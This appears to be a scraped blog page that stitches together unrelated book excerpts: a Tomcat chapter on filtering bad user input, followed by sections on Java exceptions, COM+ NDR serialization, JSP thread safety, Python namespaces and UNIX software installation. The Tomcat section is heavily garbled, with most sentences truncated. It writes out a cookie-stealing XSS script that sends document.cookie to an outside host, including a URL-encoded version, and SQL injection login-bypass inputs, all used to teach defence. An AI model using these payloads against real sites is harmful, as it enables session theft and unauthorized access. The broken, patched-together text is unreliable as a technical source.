|
Thursday, October 22, 2009
Immediate Components
6.6 Filtering Bad User Input
|
6.6 Filtering Bad User InputRegardless of what you use Tomcat for, if Unfortunately, if the web application itself is not specifically If you administer one or more Tomcat installations that run untrusted In this section, we show you the details of some well-known web 6.6.1 VulnerabilitiesLet's look at the details of some of the web 6.6.1.1 Cross-site scriptingThis is one of the most commonly
Here's one example of how XSS could be used to The attacker then tries a search query like this: <b>foo</b> The site replies back: Could not find any documents including 'foo'. Notice that the search result message interpreted the bold tags that <script language='javascript'>alert(document.cookie)</script> If the server echoes this back to the web browser verbatim, the web
The attacker then writes a very short JavaScript program that takes <script language="javascript">document.location="http://www.groovywigs.com/foo" + Once run, this script makes a JavaScript-enabled web browser send the To execute this script, the attacker finds out how search parameters http://www.example.com/search?query=foo By using that example, the malicious user then creates a URL that http://www.example.com/search?query=<script language="javascript">document. Then, using URL encoding, the malicious user disguises the same URL http://www.example.com/search?query=%3Cscript+language%3D%22javascript%22%3Edocument. This URL does the same thing as the previous URL, but it is less The attacker then finds a way to get this XSS exploit link into one
The worst case scenario here is for the web site to store sensitive A large number of popular web sites are vulnerable to XSS exploits. What can you do as a Tomcat administrator to help fix the problem?
As usual, there's no way to filter and catch 100% of 6.6.1.2 HTML injectionThis
Here are some examples of what a malicious user could use HTML
Most web sites that are vulnerable to HTML injection allow (at a Needless to say, this vulnerability is a serious one. Surprisingly, What can you do as a Tomcat administrator to help fix the problem?
6.6.1.3 SQL injectionIn
The only way that server-side Java code can be vulnerable to this Here's an example of a SQL injection vulnerability. // We already have a connection to the database. Create a Statement to use. So, if a user logged in with the username of select * from USER_TABLE where USERNAME='jasonb' and PASSWORD='guessme'; The string values of the username and Now that you understand the vulnerable setup, let's Username: jasonb The resulting queryString would be: select * from USER_TABLE where USERNAME='jasonb' and PASSWORD='' or '1'='1'; Examine this query closely: while there might not be a user in the Of course, if the quotation marks are escaped before they are Another thing to note about SQL injection vulnerabilities is that Username: jasonb';# The resulting queryString would look like this: select * from USER_TABLE where USERNAME='jasonb';# and PASSWORD='anything'; Everything after the # becomes a comment, and the There are even rare cases where SQL injection exploits call stored What can you do as a Tomcat administrator to help fix the problem?
6.6.1.4 Command injectionCommand injection is the act of There is no simple way to determine whether your application is In order to guard against this vulnerability, most special characters What can you do as a Tomcat administrator to help fix the problem?
6.6.2 HTTP Request FilteringNow that In order to easily demonstrate the problem, and to test a solution, Example 6-4. JSP source of input_test.jsp<html> Copy the input_test.jsp file into your # cp input_test.jsp $CATALINA_HOME/webapps/ROOT/ Access the page at http://localhost:8080/input_test.jsp. When it Figure 6-3. input_test.jsp runningThe forms on the page contain two mock search query forms and one Try entering data into the forms to expose the
For each input field in your web application, make an exact list of If you globally filter all request information for regular expression Tomcat Valves offer
BadInputFilterValve filters various bad input
To compile the Valve, first set the # export CATALINA_HOME=/usr/local/jakarta-tomcat-4.1.24 Then, copy the file into this directory and compile it: # cd $CATALINA_HOME/server/classes Once the class is compiled, remove the source from the Tomcat # rm com/oreilly/tomcat/valves/BadInputFilterValve.java Then, configure the Valve in your <Context path="" docBase="ROOT" debug="0"> Then, stop and restart Tomcat: # /etc/rc.d/init.d/tomcat4 stop It's okay if you get the following errors in your ServerLifecycleListener: createMBeans: MBeanException You may also get errors like this: ServerLifecycleListener: destroyMBeans: Throwable That's just the JMX management code saying that it Now that you've installed the 6.6.3 See Also
|
|
Section 7.2. Checked/Unchecked Exceptions and Errors
7.2. Checked/Unchecked Exceptions and Errors
Exceptions and errors fall into three categories: checked exceptions, unchecked exceptions, and errors.
7.2.1. Checked Exceptions
Checked exceptions are checked by the compiler at compile time.
Methods that throw a checked exception must indicate so in the method declaration using the throws clause. This must continue all the way up the calling stack until the exception is handled.
All checked exceptions must be explicitly caught with a catch block.
Checked exceptions include exceptions of the type Exception, and all classes that are subtypes of Exception, except for RuntimeException and the subtypes of RuntimeException.
The following is an example of a method that throws a checked exception:
// Method declaration that throws
// an IOException
void readFile(String filename)
throws IOException {
...
}
7.2.2. Unchecked Exceptions
The compiler does not check unchecked exceptions at compile time.
Unchecked exceptions occur during runtime due to programmer error (out-of-bounds index, divide by zero, and null pointer exception) or system resource exhaustion.
Unchecked exceptions do not have to be caught.
Methods that may throw an unchecked exception do not have to (but can) indicate this in the method declaration.
Unchecked exceptions include exceptions of the type RuntimeException and all subtypes of RuntimeException.
7.2.3. Errors
Errors are typically unrecoverable and present serious conditions.
Errors are not checked at compile time and do not have to be (but can be) caught/handled.
|
Network Data Representation
3 4
Network Data Representation
As a component technology that offers location transparency, COM+ must tackle the problem of providing platform-dependent method parameter transformations. The technology subset of COM+ that deals with component distribution, DCOM, is based on DCE RPC. This technology in turn is based on DCE Network Data Representation (NDR) for shuttling parameter data among platforms. Whenever any method parameter is marshaled for transmission over the network, proxy and stub make calls to NDR routines to package the parameter value for insertion into and extraction from a data buffer.
The Platform SDK contains little information about Microsoft's NDR implementation. But Network Data Representation encodes to a binary format that is interchangeable among DCE RPC implementations by different vendors and on different platforms. Short of ordering DCE documentation from the Open Group, this NDR label format description from the RpcNdr.h header file gives us a glimpse of how NDR tags data type formats internally:
/*********************************************************************
�����Network�Computing�Architecture�(NCA)�definition:
�����Network�Data�Representation�(NDR):�Label�format:
�����An�unsigned�long�(32�bits)�with�the�following�layout:
�����3�3�2�2�2�2�2�2�2�2�2�2�1�1�1�1�1�1�1�1�1�1
�����1�0�9�8�7�6�5�4�3�2�1�0�9�8�7�6�5�4�3�2�1�0�9�8�7�6�5�4�3�2�1�0
����+---------------+---------------+---------------+-------+-------+
����|���Reserved����|���Reserved����|Floating-Point�|�Int���|�Char��|
����|���������������|���������������|Representation�|�Rep.��|�Rep.��|
����+---------------+---------------+---------------+-------+-------+
�����Where
���������Reserved:
�������������Must�be�zero�(0)�for�NCA�1.5�and�NCA�2.0.
���������Floating-Point�Representation�is:
�������������0�-�IEEE
�������������1�-�VAX
�������������2�-�Cray
�������������3�-�IBM
���������Int�Rep.�is�Integer�Representation:
�������������0�-�Big�Endian
�������������1�-�Little�Endian
���������Char�Rep.�is�Character�Representation:
�������������0�-�ASCII
�������������1�-�EBCDIC
�����The�Microsoft�Local�Data�Representation�(for�all�platforms�that�are
�����of�interest�currently)�is�defined�below:
�**************************************************************************/
#define�NDR_CHAR_REP_MASK���������������(unsigned�long)0X0000000FL
#define�NDR_INT_REP_MASK����������������(unsigned�long)0X000000F0L
#define�NDR_FLOAT_REP_MASK��������������(unsigned�long)0X0000FF00L
#define�NDR_LITTLE_ENDIAN���������������(unsigned�long)0X00000010L
#define�NDR_BIG_ENDIAN������������������(unsigned�long)0X00000000L
#define�NDR_IEEE_FLOAT������������������(unsigned�long)0X00000000L
#define�NDR_VAX_FLOAT�������������������(unsigned�long)0X00000100L
#define�NDR_IBM_FLOAT�������������������(unsigned�long)0X00000300L
#define�NDR_ASCII_CHAR������������������(unsigned�long)0X00000000L
#define�NDR_EBCDIC_CHAR�����������������(unsigned�long)0X00000001L
#if�defined(__RPC_MAC__)
#define�NDR_LOCAL_DATA_REPRESENTATION���(unsigned�long)0X00000000L
#define�NDR_LOCAL_ENDIAN����������������NDR_BIG_ENDIAN
#else
#define�NDR_LOCAL_DATA_REPRESENTATION���(unsigned�long)0X00000010L
#define�NDR_LOCAL_ENDIAN����������������NDR_LITTLE_ENDIAN
#endif
Fortunately, we do not need to understand how NDR is implemented in order to use it. Whenever we use NDR through COM+ interface method calls, the entire mechanism is completely hidden from us. But we would like to add NDR data transformations to our list of persistence solutions, which so far include only manual data transformation, frameworks, and portable formats. NDR data transformation routines could be superior to any of these options in COM+ projects because COM+ objects already rely on NDR for interface method calls. Therefore, we know that NDR can handle the same types that we use in our COM+ objects. The technology mismatch that existed when negotiating type support with third-party solutions vanishes here. In addition, we know that an NDR implementation must be present on all the platforms on which we intend to deploy our COM+ project. Since NDR is an integral part of DCOM, if such an implementation were not available, we couldn't deploy on that platform in the first place.
To have NDR assist us with the transformation of particular data types as required by the type-stream model, we must somehow get access to NDR functionality that we can inform of the data type to be translated and the data value. Fortunately, such functionality is available at the application level; it is called the NDR serialization services. The technique of using NDR directly to transform data also is called pickling.
Serialization services do not provide API functions of the form EncodeShortInteger, DecodeShortInteger, EncodeDouble, DecodeDouble, and so on. Instead, two kinds of serialization services exist: procedure serialization and type serialization. The MIDL compiler gives applications access to both when you apply the encode and decode attributes to a procedure or typedef in an application configuration file (ACF). These attributes can be applied to an entire interface instead, in which case MIDL will generate serialization stubs rather than remote RPC stubs for all procedures and types in the interface. Procedure serialization packages a procedure's parameter set in a user-controlled buffer instead of sending it over a remote channel. Type serialization encodes or decodes an individual type to or from a buffer.
Just as regular remote procedures require binding handles to inform them of the current call context,5 procedure and type serialization functions require a serialization handle to inform them of the serialization context. The implicit_handle and explicit_handle interface attributes control whether serialization functions retrieve this handle from a global variable or whether the MIDL compiler generates an argument in the signatures through which the handle value is passed to them, respectively. In either case, it is your responsibility to initialize the serialization context with one of the MesEncodeXXXHandleCreate or MesDecodeXXXHandleCreate functions before invoking any serialization function.
Two pieces of information are conveyed to serialization functions through the serialization context: which serialization style should be used for the call, and the address of the buffer into which encoded information should be written or from which information to be decoded should be read.
There are three serialization styles:
- Fixed buffer serialization. You supply a buffer large enough to hold the encoded parameters or type. For type serialization, you can use the _AlignSize functions generated by MIDL for each type to be serialized. They determine the space plus alignment padding necessary for each type instance when serializing more than one instance of the same or different types into the same buffer. When decoding, you provide a buffer with the entire set of encoded data necessary to complete at least one decoding call.
- Dynamic buffer serialization. When encoding, the marshaling buffer is allocated by the serialization function instead of you. Because you pass this entire buffer to the serialization function when decoding, there is no difference between fixed and dynamic serialization for decoding operations.
- Incremental serialization. Instead of providing a buffer directly, you provide a set of functions through which the serialization routines will manipulate the buffer. When encoding, serialization routines call your allocation and write functions. The allocation function is called whenever the serialization routine requires a certain amount of space to store encoded data. The write function is called to notify you when a certain amount of space in the buffer has been written and can be flushed to whatever medium the application uses. When decoding, serialization routines call your read function to request some number of bytes from the buffer of encoded data. With incremental serialization, you can call more than one serialization function and pass the same serialization handle. The serialization functions make sure that the data is written to properly aligned locations in the buffer.
To have MIDL generate an encoding and decoding function for each of the types of the type stream interface not handled by CTypeStreamImpl, we define the interface RITransmitTypes in an ACF like this:
[
����explicit_handle,
����encode,
����decode
]
interface�RITransmitTypes
{
}
In the like-named IDL file, RITransmitTypes appears as follows:
[
����uuid(BC649B32-951B-11d2-A934-945C32000000),
����version(1.0)
]
interface�RITransmitTypes
{
����typedef�signed�short����t_Short;
����typedef�signed�int������t_Int;
����typedef�signed�long�����t_Long;
����typedef�signed�hyper����t_Hyper;
����typedef�float�����������t_Float;
����typedef�double����������t_Double;
����typedef�CHAR������������t_Char;
����typedef�WCHAR�����������t_WChar;
����typedef�OLECHAR���������t_OleChar;
����typedef�CURRENCY��������t_Currency;
����typedef�DATE������������t_Date;
����typedef�VARIANT���������t_Variant;
����typedef�struct�SCharArr
����{
��������ULONG�nSize;
��������[size_is(nSize)]�const�CHAR*�pnChars;
����}�t_SCharArr;
����typedef�struct�SWCharArr
����{
��������ULONG�nSize;
��������[size_is(nSize)]�const�WCHAR*�pnWChars;
����}�t_SWCharArr;
����typedef�struct�SOleCharArr
����{
��������ULONG�nSize;
��������[size_is(nSize)]�const�OLECHAR*�pnOleChars;
����}�t_SOleCharArr;
}
The _c.c file MIDL will generate from these definitions contains functions such as these for each RITransmitTypes type:
size_t
t_Short_AlignSize(
����handle_t�_MidlEsHandle,
����t_Short�__RPC_FAR�*�_pType)
{
����return�NdrMesSimpleTypeAlignSize(_MidlEsHandle);
}
void
t_Short_Encode(
����handle_t�_MidlEsHandle,
����t_Short�__RPC_FAR�*�_pType)
{
����NdrMesSimpleTypeEncode(
��������������������������_MidlEsHandle,
��������������������������(�PMIDL_STUB_DESC��)&RITransmitTypes_StubDesc,
��������������������������_pType,
��������������������������2);
}
void
t_Short_Decode(
����handle_t�_MidlEsHandle,
����t_Short�__RPC_FAR�*�_pType)
{
����NdrMesSimpleTypeDecode(
��������������������������_MidlEsHandle,
��������������������������_pType,
��������������������������6);
}
A separate argument, _handle_t, is generated for each function, as we expected. Note that we did not have to request Variant type marshaling support from NDR, since CTypeStreamImpl handles the Variant type. However, as previously mentioned, CTypeStreamImpl's Variant handling is limited to a subset of possible Variant values. By requesting Variant type marshaling directly from NDR, COM+'s custom marshaling routines will be invoked when encoding and decoding the Variant type because the Variant is defined to be wire-marshaled in Oaidl.idl in this fashion:
typedef�[wire_marshal(wireVARIANT)]�struct�tagVARIANT�VARIANT;
struct�_wireVARIANT�{
����DWORD��clSize;�������/*�wire�buffer�length�in�units�of�hyper�(int64)�*/
����DWORD��rpcReserved;��/*�for�future�use�*/
����USHORT�vt;
����USHORT�wReserved1;
����USHORT�wReserved2;
����USHORT�wReserved3;
����[switch_type(ULONG),�switch_is(vt)]�union�{
����[case(VT_I4)]�������LONG����������lVal;������/*�VT_I4����������������*/
����[case(VT_UI1)]������BYTE����������bVal;������/*�VT_UI1���������������*/
����[case(VT_I2)]�������SHORT���������iVal;������/*�VT_I2����������������*/
����[case(VT_R4)]�������FLOAT���������fltVal;����/*�VT_R4����������������*/
����[case(VT_R8)]�������DOUBLE��������dblVal;����/*�VT_R8����������������*/
����[case(VT_BOOL)]�����VARIANT_BOOL��boolVal;���/*�VT_BOOL��������������*/
����[case(VT_ERROR)]����SCODE���������scode;�����/*�VT_ERROR�������������*/
����[case(VT_CY)]�������CY������������cyVal;�����/*�VT_CY����������������*/
����[case(VT_DATE)]�����DATE����������date;������/*�VT_DATE��������������*/
����[case(VT_BSTR)]�����wireBSTR������bstrVal;���/*�VT_BSTR��������������*/
����[case(VT_UNKNOWN)]��IUnknown�*����punkVal;���/*�VT_UNKNOWN�����������*/
����[case(VT_DISPATCH)]�IDispatch�*���pdispVal;��/*�VT_DISPATCH����������*/
����[case(VT_ARRAY)]����wireSAFEARRAY�parray;����/*�VT_ARRAY�������������*/
����[case(VT_RECORD,�VT_RECORD|VT_BYREF)]
������������������������wireBRECORD���brecVal;���/*�VT_RECORD������������*/
����[case(VT_UI1|VT_BYREF)]
������������������������BYTE�*��������pbVal;�����/*�VT_BYREF|VT_UI1������*/
����[case(VT_I2|VT_BYREF)]
������������������������SHORT�*�������piVal;�����/*�VT_BYREF|VT_I2�������*/
����[case(VT_I4|VT_BYREF)]
������������������������LONG�*��������plVal;�����/*�VT_BYREF|VT_I4�������*/
����[case(VT_R4|VT_BYREF)]
������������������������FLOAT�*�������pfltVal;���/*�VT_BYREF|VT_R4�������*/
����[case(VT_R8|VT_BYREF)]
������������������������DOUBLE�*������pdblVal;���/*�VT_BYREF|VT_R8�������*/
����[case(VT_BOOL|VT_BYREF)]
������������������������VARIANT_BOOL�*pboolVal;��/*�VT_BYREF|VT_BOOL�����*/
����[case(VT_ERROR|VT_BYREF)]
������������������������SCODE�*�������pscode;����/*�VT_BYREF|VT_ERROR����*/
����[case(VT_CY|VT_BYREF)]
������������������������CY�*����������pcyVal;����/*�VT_BYREF|VT_CY�������*/
����[case(VT_DATE|VT_BYREF)]
������������������������DATE�*��������pdate;�����/*�VT_BYREF|VT_DATE�����*/
����[case(VT_BSTR|VT_BYREF)]
������������������������wireBSTR�*����pbstrVal;��/*�VT_BYREF|VT_BSTR�����*/
����[case(VT_UNKNOWN|VT_BYREF)]
������������������������IUnknown�**���ppunkVal;��/*�VT_BYREF|VT_UNKNOWN��*/
����[case(VT_DISPATCH|VT_BYREF)]
������������������������IDispatch�**��ppdispVal;�/*�VT_BYREF|VT_DISPATCH�*/
����[case(VT_ARRAY|VT_BYREF)]
������������������������wireSAFEARRAY�*pparray;��/*�VT_BYREF|VT_ARRAY����*/
����[case(VT_VARIANT|VT_BYREF)]
������������������������wireVARIANT�*�pvarVal;���/*�VT_BYREF|VT_VARIANT��*/
����[case(VT_I1)]�������CHAR����������cVal;������/*�VT_I1����������������*/
����[case(VT_UI2)]������USHORT��������uiVal;�����/*�VT_UI2���������������*/
����[case(VT_UI4)]������ULONG���������ulVal;�����/*�VT_UI4���������������*/
����[case(VT_INT)]������INT�����������intVal;����/*�VT_INT���������������*/
����[case(VT_UINT)]�����UINT����������uintVal;���/*�VT_UINT��������������*/
����[case(VT_DECIMAL)]��DECIMAL�������decVal;����/*�VT_DECIMAL�����������*/
����[case(VT_BYREF|VT_DECIMAL)]
������������������������DECIMAL�*�����pdecVal;���/*�VT_BYREF|VT_DECIMAL��*/
����[case(VT_BYREF|VT_I1)]
������������������������CHAR�*��������pcVal;�����/*�VT_BYREF|VT_I1�������*/
����[case(VT_BYREF|VT_UI2)]
������������������������USHORT�*������puiVal;����/*�VT_BYREF|VT_UI2������*/
����[case(VT_BYREF|VT_UI4)]
������������������������ULONG�*�������pulVal;����/*�VT_BYREF|VT_UI4������*/
����[case(VT_BYREF|VT_INT)]
������������������������INT�*���������pintVal;���/*�VT_BYREF|VT_INT������*/
����[case(VT_BYREF|VT_UINT)]
������������������������UINT�*��������puintVal;��/*�VT_BYREF|VT_UINT�����*/
����[case(VT_EMPTY)]����;������������������������/*�nothing��������������*/
����[case(VT_NULL)]�����;������������������������/*�nothing��������������*/
����};
};
As you can see, provisions are made to handle the various reference types, as well as a SafeArray.
Making JSPs and Servlets Thread-Safe
[ Team LiB ] |
Making JSPs and Servlets Thread-SafeOne of the key features for high-performance server applications is the heavy use of threads. The Java networking classes do all their data transfer via blocking operations, meaning the executing thread waits until the data has been transferred. Many times, however, the server can be doing other things while waiting for the data to transmit. Most servers generally have one thread per client, with each thread listening for incoming requests. Some servers might also have a pool of threads to execute requests (the reader thread hands the request off to an execution thread and then looks for more incoming requests). New I/O
Almost all JSP and servlet engines are multithreaded, and by default, JavaServer Pages are assumed to be thread-safe. Unless you specify otherwise, multiple threads might be executing a JavaServer Page at the same time. The <%@ page isThreadSafe="false"%> directive tells the JSP engine that a JavaServer Page is not thread-safe. If you expect fairly high volume on your JSP, you should make sure it is thread-safe. Restricting a JSP to a single thread can really slow things down. Servlets are also assumed to be multithreaded, but there is no simple directive to mark the servlet as not being thread-safe. Instead, you must declare either the service method or the individual doPost and doGet methods as being synchronized. Marking the whole method as synchronized is a brute-force method, just like marking an entire JSP as non-thread-safe. You are much better off finding the places where threading is a problem and fixing them. There are certain things you can look for when searching for areas of your program that might not be thread-safe:
Even if the answer to any of these questions is "yes," you don't necessarily have a threading issue. If you are always reading the value of a member variable, you probably don't have a threading issue. Sometimes you set up some variables during the initialization of a JSP or servlet and then don't change the value during execution. You can safely assume that multiple threads can read the value of the variables without any problems. When you store an object in the session or the application object, you need to consider the circumstances in which multiple threads might be using the same data. Because each browser has its own session, the only threading issues for objects stored in the session will occur when the browser requests several JSPs or servlets at once. When you store objects in the application object, consider whether another thread might also be trying to store the same object. Often you create an object that is shared across multiple servlets, but you create the object only if there isn't one already stored in the application object. When you discover that you need to create the object, synchronize on the application object and then check again to see whether the object needs to be created. Then, within the synchronized block, create the shared object. Listing 24.2 shows a segment of code that creates a shared object. Listing 24.2 Code Fragment to Create a Shared Object
Because the test for the presence of the object is in the same synchronized block as the code that creates the object, you can be sure that only one thread actually creates the object. You must also take special care with the objects you store in the application and session objects. If you store objects that aren't thread-safe, you must synchronize any method calls that modify the state of those objects. Most of the objects in the Java API, such as Vector, ResultSet, Connection, and so on, are thread-safe. If you use third-party libraries, consult your documentation to find out whether any objects are known to be unsafe for threading. |
[ Team LiB ] |
Code Blocks and Namespaces
I l@ve RuBoard |
Code Blocks and NamespacesCode blocks are pieces of executable Python code that you can think of as collections of statements. Modules, classes, and functions are all examples. Modules may be scripts that execute only once. Since Python is unlike other languages in its lack of a main method, it starts executing code (program text) from the top of the module. To re-execute the module, you have to reload it. Modules can contain classes and functions (both code blocks), which may be executed many times. Also, functions can contain classes as well as other functions, and classes can contain methods as well as other classes. Variables defined in a code block are associated with that code block's namespace.
A namespace is a way to organize variables in a large program. It provides separate contexts for individual variables so that two with the same name can be used without one adversely affecting the other. Think of namespaces as directories on your hard drive. If there are two directories, user1 and user2, and both have a file named readme.txt, you can be sure that these are two different files�one you access as \user1\readme and the other as \user2\readme. Packages provide namespaces for modules and other packages. Say you create a module called sys but sys is also the name of a standard module. This can cause problems. However, if you put your sys module in a package called mycompany, you can access it via mycompany.sys without interfering with the standard sys module. Packages also provide namespaces for other packages, just as file directories provide namespaces for each other. Modules provide namespaces for variables, classes, and functions. You might have a class called stats and download a class from the Web also called stats. You can use both classes in the same program because they're in their own modules�my_module.stats and their_module.stats. Similarly, classes provide namespaces for variables and methods. For example, a method called getMean() in a class called stat won't interfere with a function called getMean() in the same module. We'll discuss namespaces and variable scope more later. The key point here is that Python allows you a lot of flexibility in program organization. It also gives you more control over how you manipulate and introspect your namespace. |
I l@ve RuBoard |
Chapter 12: Installing Software Can Be Tricky
Chapter 12: Installing Software Can Be Tricky
Overview
In This Chapter
Where does software come from (the software stork)?
Where to put software
Writing shell scripts, or files full of commands
Writing aliases for your favorite commands
Grabbing software from the Internet
Uncompressing, uudecoding, and otherwise fooling with files that contain programs
If you are a Windows or Macintosh user, you probably are thinking: “I can install new programs. What’s the big deal? I just stick in a disk or a CD- ROM and type INSTALL, right?” No. In UNIX, it’s not that simple, of course. You face issues of paths, permissions, and other technical-type stuff we have been protecting you from.
On the other hand, we’re not about to train you to be a system programmer. Every user has a few favorite programs, and you wear out your welcome quickly if you go off to your local wizard every time you want to use a new program. Although installing new UNIX programs is much trickier than installing PC or Mac programs, in many cases you can do it yourself.